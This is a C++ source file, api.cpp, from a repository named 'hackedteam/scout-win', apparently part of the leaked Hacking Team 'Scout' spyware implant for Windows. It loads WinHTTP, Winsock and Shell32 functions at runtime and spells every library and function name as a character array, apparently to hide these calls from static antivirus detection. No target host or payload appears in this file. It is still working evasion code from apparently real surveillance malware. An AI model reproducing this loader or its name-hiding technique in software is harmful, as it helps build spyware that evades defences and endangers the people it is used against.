hackedteam/scout-win

View on GitHub
core-scout-win32/api.cpp

Summary

Maintainability
Test Coverage
#include "api.h"

PDYNAMIC_WINHTTP dynamicWinHttp = NULL;
PDYNAMIC_WINSOCK dynamicWinsock = NULL;
PDYNAMIC_SHELL32 dynamicShell32 = NULL;

BOOL API_LoadWinsock(PDYNAMIC_WINSOCK* pDynamicWinsock)
{
    PDYNAMIC_WINSOCK dynamicWinsock = *pDynamicWinsock;

    if  (dynamicWinsock)
    {
        WCHAR strLib[] = {'W',  'S',  '2',  '_',  '3',  '2',  0x0};
        HMODULE hMod = NULL;
        
        if((hMod = LoadLibrary(strLib)) == NULL)
            return FALSE;

        CHAR strWSAStartup[] = {'W',  'S',  'A',  'S',  't',  'a',  'r',  't',  'u',  'p',  0x0};
        dynamicWinsock->fpWSAStartup = (WSASTARTUP) GetProcAddress(hMod, strWSAStartup);

        CHAR strWSACleanup[] = {'W',  'S',  'A',  'C',  'l',  'e',  'a',  'n',  'u',  'p', 0x0};
        dynamicWinsock->fpWSACleanup = (WSACLEANUP) GetProcAddress(hMod, strWSACleanup);
        
        CHAR strinet_addr[] = {'i',  'n',  'e',  't',  '_',  'a',  'd',  'd',  'r', 0x0};
        dynamicWinsock->fpinet_addr = (INET_ADDR) GetProcAddress(hMod, strinet_addr);
        
        CHAR strgethostbyname[] = {'g',  'e',  't',  'h',  'o',  's',  't',  'b',  'y',  'n',  'a',  'm',  'e', 0x0};
        dynamicWinsock->fpgethostbyname = (GETHOSTBYNAME) GetProcAddress(hMod, strgethostbyname);
        
        CHAR strinet_ntoa[] = { 'i',  'n',  'e',  't',  '_',  'n',  't',  'o',  'a', 0x0};
        dynamicWinsock->fpinet_ntoa = (INET_NTOA) GetProcAddress(hMod, strinet_ntoa);

        CHAR strntohl[] = { 'n',  't',  'o',  'h',  'l', 0x0};
        dynamicWinsock->fpntohl = (NTOHL) GetProcAddress(hMod, strntohl);

        if (
            !dynamicWinsock->fpWSAStartup ||
            !dynamicWinsock->fpinet_addr ||
            !dynamicWinsock->fpgethostbyname ||
            !dynamicWinsock->fpinet_ntoa ||
            !dynamicWinsock->fpntohl 
            )
            return FALSE;
        else
            return TRUE; 
    }
    return FALSE;
}

BOOL API_LoadWinHttp(PDYNAMIC_WINHTTP* pDynamicWinHttp)
{
    PDYNAMIC_WINHTTP dynamicWinHttp = *pDynamicWinHttp;
    
    if (dynamicWinHttp)
    {
        WCHAR strLib[] = { 'W',  'i',  'n',  'H',  't',  't',  'p',  0x0 };
        HMODULE hMod = NULL;
        
        if((hMod = LoadLibrary(strLib)) == NULL)
            return FALSE;

        CHAR strWinHttpSendRequest[] = { 'W',  'i',  'n',  'H',  't',  't',  'p',  'S',  'e',  'n',  'd',  'R',  'e',  'q',  'u',  'e',  's',  't', 0x0 };
        dynamicWinHttp->fpWinHttpSendRequest = (WINHTTPSENDREQUEST) GetProcAddress(hMod, strWinHttpSendRequest);

        CHAR strWinhttpgetieproxyconfigforcurrentuser[] = {'W',  'i',  'n',  'H',  't',  't',  'p',  'G',  'e',  't',  'I',  'E',  'P',  'r',  'o',  'x',  'y',  'C',  'o',  'n',  'f',  'i',  'g',  'F',  'o',  'r',  'C',  'u',  'r',  'r',  'e',  'n',  't',  'U',  's',  'e',  'r',  0x0};
        dynamicWinHttp->fpWinhttpgetieproxyconfigforcurrentuser = (WINHTTPGETIEPROXYCONFIGFORCURRENTUSER) GetProcAddress(hMod, strWinhttpgetieproxyconfigforcurrentuser);
        
        CHAR strWinhttpsetoption[] = { 'W',  'i',  'n',  'H',  't',  't',  'p',  'S',  'e',  't',  'O',  'p',  't',  'i',  'o',  'n', 0x0};
        dynamicWinHttp->fpWinhttpsetoption = (WINHTTPSETOPTION) GetProcAddress(hMod, strWinhttpsetoption);

        CHAR strWinhttpsettimeouts[] = { 'W',  'i',  'n',  'H',  't',  't',  'p',  'S',  'e',  't',  'T',  'i',  'm',  'e',  'o',  'u',  't',  's', 0x0};
        dynamicWinHttp->fpWinhttpsettimeouts = (WINHTTPSETTIMEOUTS) GetProcAddress(hMod, strWinhttpsettimeouts);

        CHAR strWinhttpreceiveresponse[] = {'W',  'i',  'n',  'H',  't',  't',  'p',  'R',  'e',  'c',  'e',  'i',  'v',  'e',  'R',  'e',  's',  'p',  'o',  'n',  's',  'e',  0x0};
        dynamicWinHttp->fpWinhttpreceiveresponse = (WINHTTPRECEIVERESPONSE) GetProcAddress(hMod, strWinhttpreceiveresponse);

        CHAR strWinhttpconnect[] = {'W',  'i',  'n',  'H',  't',  't',  'p',  'C',  'o',  'n',  'n',  'e',  'c',  't',  0x0};
        dynamicWinHttp->fpWinhttpconnect = (WINHTTPCONNECT) GetProcAddress(hMod, strWinhttpconnect);
        
        CHAR strWinhttpopen[] = { 'W',  'i',  'n',  'H',  't',  't',  'p',  'O',  'p',  'e',  'n', 0x0};
        dynamicWinHttp->fpWinhttpopen = (WINHTTPOPEN) GetProcAddress(hMod, strWinhttpopen);

        CHAR strWinhttpopenrequest[] = { 'W',  'i',  'n',  'H',  't',  't',  'p',  'O',  'p',  'e',  'n',  'R',  'e',  'q',  'u',  'e',  's',  't', 0x0};
        dynamicWinHttp->fpWinhttpopenrequest = (WINHTTPOPENREQUEST) GetProcAddress(hMod, strWinhttpopenrequest);

        CHAR strWinhttpgetproxyforurl[] = { 'W',  'i',  'n',  'H',  't',  't',  'p',  'G',  'e',  't',  'P',  'r',  'o',  'x',  'y',  'F',  'o',  'r',  'U',  'r',  'l', 0x0 };
        dynamicWinHttp->fpWinhttpgetproxyforurl = (WINHTTPGETPROXYFORURL ) GetProcAddress(hMod, strWinhttpgetproxyforurl);

        CHAR strWinhttpreaddata[] = { 'W',  'i',  'n',  'H',  't',  't',  'p',  'R',  'e',  'a',  'd',  'D',  'a',  't',  'a',  0x0 };
        dynamicWinHttp->fpWinhttpreaddata = (WINHTTPREADDATA ) GetProcAddress(hMod, strWinhttpreaddata);

        CHAR strWinhttpclosehandle[] = {'W',  'i',  'n',  'H',  't',  't',  'p',  'C',  'l',  'o',  's',  'e',  'H',  'a',  'n',  'd',  'l',  'e',  0x0};
        dynamicWinHttp->fpWinhttpclosehandle = (WINHTTPCLOSEHANDLE) GetProcAddress(hMod, strWinhttpclosehandle);

        CHAR strWinhttpqueryheaders[] = { 'W',  'i',  'n',  'H',  't',  't',  'p',  'Q',  'u',  'e',  'r',  'y',  'H',  'e',  'a',  'd',  'e',  'r',  's', 0x0};
        dynamicWinHttp->fpWinhttpqueryheaders = (WINHTTPQUERYHEADERS) GetProcAddress(hMod, strWinhttpqueryheaders);

        if (
            !dynamicWinHttp->fpWinHttpSendRequest ||
            !dynamicWinHttp->fpWinhttpgetieproxyconfigforcurrentuser ||
            !dynamicWinHttp->fpWinhttpsetoption ||
            !dynamicWinHttp->fpWinhttpsettimeouts ||
            !dynamicWinHttp->fpWinhttpreceiveresponse ||
            !dynamicWinHttp->fpWinhttpopen ||
            !dynamicWinHttp->fpWinhttpopenrequest ||
            !dynamicWinHttp->fpWinhttpgetproxyforurl ||
            !dynamicWinHttp->fpWinhttpreaddata ||
            !dynamicWinHttp->fpWinhttpclosehandle ||
            !dynamicWinHttp->fpWinhttpqueryheaders
            )
            return FALSE;
        else
            return TRUE;
    }
    return FALSE;
}


BOOL API_LoadShell32(PDYNAMIC_SHELL32* pDynamicShell32)
{
    PDYNAMIC_SHELL32 dynamicShell32 = *pDynamicShell32;

    if  (dynamicShell32)
    {
        WCHAR strLib[] = {'S', 'H', 'E', 'L', 'L', '3', '2', 0x0};
        HMODULE hMod = NULL;
        
        if((hMod = LoadLibrary(strLib)) == NULL)
            return FALSE;
    
        CHAR strSHCreateShellItem[] = {'S',  'H',  'C',  'r',  'e',  'a',  't',  'e',  'S',  'h', 'e',  'l',  'l',  'I',  't',  'e',  'm', 0x0};
        dynamicShell32->fpSHCreateShellItem = (SHCREATESHELLITEM)GetProcAddress(hMod, strSHCreateShellItem);

        CHAR strSHParseDisplayName[] = {'S',  'H',  'P',  'a',  'r',  's',  'e',  'D',  'i',  's', 'p',  'l',  'a',  'y',  'N',  'a', 'm', 'e', 0x0};
        dynamicShell32->fpSHParseDisplayName = (SHPARSEDISPLAYNAME)GetProcAddress(hMod, strSHParseDisplayName);
        
        CHAR strSHGetSpecialFolderPathW[] = {'S',  'H',  'G',  'e',  't',  'S',  'p',  'e',  'c',  'i', 'a',  'l',  'F',  'o',  'l',  'd', 'e', 'r', 'P', 'a', 't', 'h', 'W', 0x0};
        dynamicShell32->fpSHGetSpecialFolderPathW = (SHGETSPECIALFOLDERPATHW)GetProcAddress(hMod, strSHGetSpecialFolderPathW);


        if (
            !dynamicShell32->fpSHCreateShellItem        ||
            !dynamicShell32->fpSHParseDisplayName        ||
            !dynamicShell32->fpSHGetSpecialFolderPathW    
            )
            return FALSE;
        else
            return TRUE; 
    }
    return FALSE;
}